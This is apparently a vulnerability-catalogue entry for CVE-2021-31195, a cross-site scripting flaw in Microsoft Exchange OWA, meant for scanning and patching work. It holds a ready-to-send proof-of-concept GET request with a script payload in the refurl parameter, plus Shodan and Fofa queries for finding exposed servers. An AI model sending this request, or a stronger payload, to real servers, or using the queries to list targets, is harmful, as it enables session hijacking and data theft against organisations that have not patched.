| Title | Microsoft Exchange Server - Cross-Site Scripting |
|---|---|
| Author | infosecsanyam |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities. |
| Remediation | Apply the latest security updates provided by Microsoft to mitigate this vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.84363 |
| CVE ID | CVE-2021-31195 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"Outlook"http.favicon.hash:1768726119http.title:"outlook"cpe:"cpe:2.3:a:microsoft:exchange_server" |
| Fofa Query | title="outlook"icon_hash=1768726119 |
| Tags | cve2021 cve microsoft exchange owa xss vuln |
Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
GET /owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31195.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31195.pcap
N/AN/A